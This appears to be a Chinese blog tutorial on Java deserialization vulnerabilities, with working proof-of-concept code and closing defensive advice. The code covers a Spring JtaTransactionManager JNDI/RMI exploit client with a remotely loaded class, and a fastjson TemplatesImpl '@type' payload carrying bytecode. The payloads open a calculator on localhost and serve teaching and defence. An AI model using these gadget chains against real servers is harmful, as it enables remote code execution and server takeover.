说一说 Java 反序列化漏洞

简介: 我是小假 期待与你的下一次相遇 ~

一、背景

熟悉接口开发的同学一定知道,能将数据对象很轻松的实现多平台之间的通信、对象持久化存储,序列化和反序列化是一种非常有效的手段,例如如下应用场景,对象必须 100% 实现序列化。

  • DUBBO:对象传输必须要实现序列化
  • RMI:Java 的一组拥护开发分布式应用程序 API,实现了不同操作系统之间程序的方法调用,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口

而在反序列化的背后,却隐藏了很多不为人知的秘密!

最为出名的大概应该是:15年的 Apache Commons Collections 反序列化远程命令执行漏洞,当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名软件,直接在互联网行业掀起了一阵飓风。

2016 年 Spring RMI 反序列化爆出漏洞,攻击者可以通过 JtaTransactionManager 这个类,来远程执行恶意代码。

2017 年 4月15 日,Jackson 框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法,通过该漏洞,攻击者可以远程在服务器主机上越权执行任意代码,从而取得该网站服务器的控制权。

还有 fastjson,一款 java 编写的高性能功能非常完善的 JSON 库,应用范围非常广,在 2017 年,fastjson 官方主动爆出 fastjson 在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

Java 十分受开发者喜爱的一点,就是其拥有完善的第三方类库,和满足各种需求的框架。但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,或者在数据校验入口就没有把关好,那么受影响范围将极为广泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。

那么问题来了,攻击者是如何精心构造反序列化对象并执行恶意代码的呢?

二、漏洞分析

2.1、漏洞基本原理

先看一段代码如下:

  1. public class DemoSerializable {
  2.    public static void main(String[] args) throws Exception {
  3.        //定义myObj对象
  4.        MyObject myObj = new MyObject();
  5.        myObj.name = "hello world";
  6.        //创建一个包含对象进行反序列化信息的”object”数据文件
  7.        FileOutputStream fos = new FileOutputStream("object");
  8.        ObjectOutputStream os = new ObjectOutputStream(fos);
  9.        //writeObject()方法将myObj对象写入object文件
  10.        os.writeObject(myObj);
  11.        os.close();
  12.        //从文件中反序列化obj对象
  13.        FileInputStream fis = new FileInputStream("object");
  14.        ObjectInputStream ois = new ObjectInputStream(fis);
  15.        //恢复对象
  16.        MyObject objectFromDisk = (MyObject)ois.readObject();
  17.        System.out.println(objectFromDisk.name);
  18.        ois.close();
  19.    }
  20. }
  21. class MyObject implements Serializable {
  22.    /**
  23.     * 任意属性
  24.     */
  25.    public String name;
  26.    //重写readObject()方法
  27.    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
  28.        //执行默认的readObject()方法
  29.        in.defaultReadObject();
  30.        //执行指定程序
  31.        Runtime.getRuntime().exec("open https://www.baidu.com/");
  32.    }
  33. }

运行程序之后,控制台会输出hello world,同时也会打开网页跳转到https://www.baidu.com/。

从这段逻辑中分析,可以很清晰的看到反序列化已经成功了,但是程序又偷偷的执行了一段如下代码。

  1. Runtime.getRuntime().exec("open https://www.baidu.com/");

可以再把这段代码改造一下,内容如下:

  1. //mac系统,执行打开计算器程序命令
  2. Runtime.getRuntime().exec("open /Applications/Calculator.app/");
  3. //windows系统,执行打开计算器程序命令
  4. Runtime.getRuntime().exec("calc.exe");

运行程序后,可以很轻松的打开电脑中已有的任意程序。

很多人可能不知道,这里的readObject()是可以重写的,只是Serializable接口没有显示的把它展示出来,readObject()方法的作用是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,以定制反序列化的一些行为。

可能有的同学会说,实际开发过程中,不会有人这么去重写readObject()方法,当然不会,但是实际情况也不会太差。

2.2、Spring 框架的反序列化漏洞

以当时的 Spring 框架爆出的反序列化漏洞为例,请看当时的示例代码。

首先创建一个 server 代码:

  1. public class ExploitableServer {
  2.    public static void main(String[] args) {
  3.        try {
  4.            //创建socket
  5.            ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));
  6.            System.out.println("Server started on port "+serverSocket.getLocalPort());
  7.            while(true) {
  8.                //等待链接
  9.                Socket socket=serverSocket.accept();
  10.                System.out.println("Connection received from "+socket.getInetAddress());
  11.                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
  12.                try {
  13.                    //读取对象
  14.                    Object object = objectInputStream.readObject();
  15.                    System.out.println("Read object "+object);
  16.                } catch(Exception e) {
  17.                    System.out.println("Exception caught while reading object");
  18.                    e.printStackTrace();
  19.                }
  20.            }
  21.        } catch(Exception e) {
  22.            e.printStackTrace();
  23.        }
  24.    }
  25. }

然后创建一个 client 代码:

  1. public class ExploitClient {
  2.    public static void main(String[] args) {
  3.        try {
  4.            String serverAddress = "127.0.0.1";
  5.            int port = Integer.parseInt("1234");
  6.            String localAddress= "127.0.0.1";
  7.            System.out.println("Starting HTTP server");   //开启8080端口服务
  8.            HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0);
  9.            httpServer.createContext("/",new HttpFileHandler());
  10.            httpServer.setExecutor(null);
  11.            httpServer.start();
  12.            System.out.println("Creating RMI Registry"); //绑定RMI服务到 1099端口 Object  提供恶意类的RMI服务
  13.            Registry registry = LocateRegistry.createRegistry(1099);
  14.            /*
  15.            java为了将object对象存储在Naming或者Directory服务下,
  16.            提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,
  17.            比如(rmi,ldap等)。在使用Reference的时候,可以直接把对象写在构造方法中,
  18.            当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后,
  19.            就可以理解jndi注入产生的原因了。
  20.             */ //绑定本地的恶意类到1099端口
  21.            Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/");
  22.            ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
  23.            registry.bind("Object", referenceWrapper);
  24.            System.out.println("Connecting to server "+serverAddress+":"+port); //连接服务器1234端口
  25.            Socket socket=new Socket(serverAddress,port);
  26.            System.out.println("Connected to server");
  27.            String jndiAddress = "rmi://"+localAddress+":1099/Object";
  28.            //JtaTransactionManager 反序列化时的readObject方法存在问题 //使得setUserTransactionName可控,远程加载恶意类
  29.            //lookup方法会实例化恶意类,导致执行恶意类无参的构造方法
  30.            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
  31.            object.setUserTransactionName(jndiAddress);
  32.            //上面就是poc,下面是将object序列化发送给服务器,服务器访问恶意类
  33.            System.out.println("Sending object to server...");
  34.            ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
  35.            objectOutputStream.writeObject(object);
  36.            objectOutputStream.flush();
  37.            while(true) {
  38.                Thread.sleep(1000);
  39.            }
  40.        } catch(Exception e) {
  41.            e.printStackTrace();
  42.        }
  43.    }
  44. }

最后,创建一个ExportObject需要远程下载的类:

  1. public class ExportObject {
  2.    public static String exec(String cmd) throws Exception {
  3.        String sb = "";
  4.        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
  5.        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
  6.        String lineStr;
  7.        while ((lineStr = inBr.readLine()) != null)
  8.            sb += lineStr + "\n";
  9.        inBr.close();
  10.        in.close();
  11.        return sb;
  12.    }
  13.    public ExportObject() throws Exception {
  14.        String cmd="open /Applications/Calculator.app/";
  15.        throw new Exception(exec(cmd));
  16.    }
  17. }

先开启 server,再运行 client 后,计算器会直接被打开!

究其原因,主要是这个类JtaTransactionManager类存在问题,最终导致了漏洞的实现。

打开源码,翻到最下面,可以很清晰的看到JtaTransactionManager类重写了readObject方法。

重点就是这个方法initUserTransactionAndTransactionManager(),里面会转调用到JndiTemplatelookup()方法。

可以看到lookup()方法作用是:Look up the object with the given name in the current JNDI context。

也就是说,通过JtaTransactionManager类的setUserTransactionName()方法执行,最终指向了rmi://127.0.0.1:1099/Object,导致服务执行了恶意类的远程代码。

2.3、FASTJSON 框架的反序列化漏洞分析

先来看一个简单的例子,程序代码如下:

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import java.io.IOException;
  7. public class Test extends AbstractTranslet {
  8.    public Test() throws IOException {
  9.        Runtime.getRuntime().exec("open /Applications/Calculator.app/");
  10.    }
  11.    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  12.    }
  13.    @Override
  14.    public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
  15.    }
  16.    public static void main(String[] args) throws Exception {
  17.        Test t = new Test();
  18.    }
  19. }

运行程序之后,同样的直接会打开电脑中的计算器。

恶意代码植入的核心就是在对象初始化阶段,直接会调用Runtime.getRuntime().exec("open /Applications/Calculator.app/")这个方法,通过运行时操作类直接执行恶意代码。

在来看看下面这个例子:

  1. import com.alibaba.fastjson.JSON;
  2. import com.alibaba.fastjson.parser.Feature;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. import org.apache.commons.io.IOUtils;
  5. import org.apache.commons.codec.binary.Base64;
  6. import java.io.ByteArrayOutputStream;
  7. import java.io.File;
  8. import java.io.FileInputStream;
  9. import java.io.IOException;
  10. public class POC {
  11.    public static String readClass(String cls){
  12.        ByteArrayOutputStream bos = new ByteArrayOutputStream();
  13.        try {
  14.            IOUtils.copy(new FileInputStream(new File(cls)), bos);
  15.        } catch (IOException e) {
  16.            e.printStackTrace();
  17.        }
  18.        return Base64.encodeBase64String(bos.toByteArray());
  19.    }
  20.    public static void  test_autoTypeDeny() throws Exception {
  21.        ParserConfig config = new ParserConfig();
  22.        final String fileSeparator = System.getProperty("file.separator");
  23.        final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
  24.        String evilCode = readClass(evilClassPath);
  25.        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  26.        String text1 = "{\"@type\":\"" + NASTY_CLASS +
  27.                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
  28.                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
  29.        System.out.println(text1);
  30.        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
  31.        //assertEquals(Model.class, obj.getClass());
  32.    }
  33.    public static void main(String args[]){
  34.        try {
  35.            test_autoTypeDeny();
  36.        } catch (Exception e) {
  37.            e.printStackTrace();
  38.        }
  39.    }
  40. }

在这个程序验证代码中,最核心的部分是_bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。

_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,所以是设置不了的,只能依赖于jdk的实现,某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。

如果使用的jdk版本是1.7,并且fastjson <= 1.2.24,基本会执行成功,如果是高版本的,可能会报错!

详细分析请移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/

Jackson 的反序列化漏洞也与之类似。

三、如何防范

从上面的案例看,java 的序列化和反序列化,单独使用的并没有啥毛病,核心问题也都不是反序列化,但都是因为反序列化导致了恶意代码被执行了,尤其是两个看似安全的组件,如果在同一系统中交叉使用,也能会带来一定安全问题。

3.1、禁止 JVM 执行外部命令 Runtime.exec

从上面的代码中,不难发现,恶意代码最终都是通过Runtime.exec这个方法得到执行,因此可以从 JVM 层面禁止外部命令的执行。

通过扩展 SecurityManager 可以实现:

  1. public class SecurityManagerTest {
  2.    public static void main(String[] args) {
  3.        SecurityManager originalSecurityManager = System.getSecurityManager();
  4.        if (originalSecurityManager == null) {
  5.            // 创建自己的SecurityManager
  6.            SecurityManager sm = new SecurityManager() {
  7.                private void check(Permission perm) {
  8.                    // 禁止exec
  9.                    if (perm instanceof java.io.FilePermission) {
  10.                        String actions = perm.getActions();
  11.                        if (actions != null && actions.contains("execute")) {
  12.                            throw new SecurityException("execute denied!");
  13.                        }
  14.                    }
  15.                    // 禁止设置新的SecurityManager,保护自己
  16.                    if (perm instanceof java.lang.RuntimePermission) {
  17.                        String name = perm.getName();
  18.                        if (name != null && name.contains("setSecurityManager")) {
  19.                            throw new SecurityException("System.setSecurityManager denied!");
  20.                        }
  21.                    }
  22.                }
  23.                @Override
  24.                public void checkPermission(Permission perm) {
  25.                    check(perm);
  26.                }
  27.                @Override
  28.                public void checkPermission(Permission perm, Object context) {
  29.                    check(perm);
  30.                }
  31.            };
  32.            System.setSecurityManager(sm);
  33.        }
  34.    }
  35. }

只要在 Java 代码里简单加上面那一段,就可以禁止执行外部程序了,但是并非禁止外部程序执行,Java 程序就安全了,有时候可能适得其反,因为执行权限被控制太苛刻了,不见得是个好事,还得想其他招数。

3.2、增加多层数据校验

比较有效的办法是,当把接口参数暴露出去之后,服务端要及时做好数据参数的验证,尤其是那种带有httphttpsrmi等这种类型的参数过滤验证,可以进一步降低服务的风险。

四、小结

随着 Json 数据交换格式的普及,直接应用在服务端的反序列化接口也随之减少,但陆续爆出的Jackson和Fastjson两大 Json 处理库的反序列化漏洞,也暴露出了一些问题。

所以在日常业务开发的时候,对于 Java 反序列化的安全问题应该具备一定的防范意识,并着重注意传入数据的校验、服务器权限和相关日志的检查, API 权限控制,通过 HTTPS 加密传输数据等方面进行下功夫,以免造成不必要的损失!


相关文章
|
1月前
|
安全 数据可视化 Java
Spring漏洞太难搞?AiPy生成漏洞检测辅助工具
本文介绍了 Spring 框架的漏洞风险、优缺点,并提出通过开发可视化工具 Aipy 来解决未授权访问问题。Spring 广泛应用于企业级开发,但因配置不当可能导致 RCE、数据泄露等漏洞。其优点包括强大的生态系统和灵活的事务管理,但也存在学习曲线陡峭、性能开销等问题。为应对安全挑战,Aipy 提供 GUI 界面,可自动扫描 Spring 组件(如 Swagger UI、Actuator)中的未授权漏洞,标记风险并提供修复方案,结果以图表形式展示,支持报告导出,有效提升安全性和易用性。
|
4月前
|
前端开发 JavaScript 安全
剖析跨域问题始末及其解决方案——前端必备交叉知识(一)
跨域问题是前端开发中的常见挑战,了解并掌握不同的跨域解决方案能帮助你更高效地进行开发工作。本文对同源策略、跨域以及解决跨域的三种方案: CORS、JSONP、代理等跨域技术进行了介绍。选择合适的跨域解决方案非常重要。 在实际开发中,推荐优先考虑使用 CORS,因为它是现代浏览器支持的标准,且安全性较高。如果服务器无法修改,则可以考虑使用代理。如果是特殊情况,可以使用 JSONP,但要注意安全性。 只有锻炼思维才能可持续地解决问题,只有思维才是真正值得学习和分享的核心要素。如果这篇博客能给您带来一点帮助,麻烦您点个赞支持一下,还可以收藏起来以备不时之需,有疑问和错
|
1月前
|
存储 多模数据库 测试技术
孚盟选用Lindorm升级自建Elasticsearch,护航跨境电商出海
三大主要场景用户体验大幅提升,核心场景查询时延减少80%。
|
1月前
|
安全 数据建模 应用服务中间件
阿里云SSL证书价格、证书类型及免费版证书申请和证书部署教程参考
阿里云SSL证书有收费版也有免费版,收费版DV域名级SSL类型405元起,免费版证书为DV域名级SSL类型,每个实名个人和企业主体在一个自然年内可以一次性领取20张免费证书。本文为大家详细介绍阿里云SSL证书价格情况,包括不同域名类型、证书类型、证书等级和证书品牌的相关收费标准,以及免费版证书的申请和部署教程参考。
|
1月前
|
存储 人工智能 虚拟化
VMware vCenter Server 9.0 正式版发布下载 - 集中管理 vSphere 环境
VMware vCenter Server 9.0 正式版发布下载 - 集中管理 vSphere 环境
96 0
VMware vCenter Server 9.0 正式版发布下载 - 集中管理 vSphere 环境
|
1月前
|
监控 安全 Ubuntu
从零开始学安全:服务器被入侵后的自救指南
在信息爆炸时代,服务器安全至关重要。本文针对黑客入侵问题,从应急处理、系统恢复到安全加固全面解析。发现入侵时应冷静隔离服务器,保存日志证据,深入排查痕迹;随后通过重装系统、恢复数据、更改密码完成清理;最后加强防火墙、更新软件、部署检测系统等措施防止二次入侵。服务器安全是一场持久战,需时刻警惕、不断优化防护策略。
210 1
|
1月前
|
JSON Java 数据库连接
IDEA的插件大总汇 (让你的工作效率大大提高!)
我是小假 期待与你的下一次相遇 ~
257 5
|
1月前
|
数据采集 Web App开发 JavaScript
无头浏览器技术:Python爬虫如何精准模拟搜索点击
无头浏览器技术:Python爬虫如何精准模拟搜索点击
|
开发框架 安全 物联网
HarmonyOS Next快速入门:为什么学习HarmonyOS NEXT?
《HarmonyOS Next快速入门》是面向开发者的学习教程,帮助掌握鸿蒙系统前沿技术。其亮点包括分布式架构、跨设备协同、统一开发框架与API,简化多设备开发;覆盖全场景应用,如智能穿戴、家居等;安全性与性能优化显著提升;深度融入华为生态,具备广阔市场前景。通过学习,开发者可把握未来物联网趋势,提升技能以适应多样化应用场景。点击链接即可观看视频教程,结合DevEco Studio工具开启开发之旅。
66 0
|
3月前
|
人工智能 JSON 定位技术
地图类MCP 从0-1构建行程规划Agent 之 DeepNLP MCP应用市场
本文重点介绍借助DeepNLP的MCP应用市场中 MCP Server的JSON文件配置,在 Cursor客户端 从0-1构建一个行程规划AI AGENT,为行程规划类的AI AGENT。五一假期期间帮助用户把自己电脑变成一个超级AI AGENT智能体。目前主要使用了Google Map/Baidu Map和高德AMAP的MCP,实现如北京到上海的三天火车旅行规划。内容涵盖基础设置准备、Agent Mode测试及不同地图服务的横向对比与具体配置方法(如NPX、Docker、Python等)。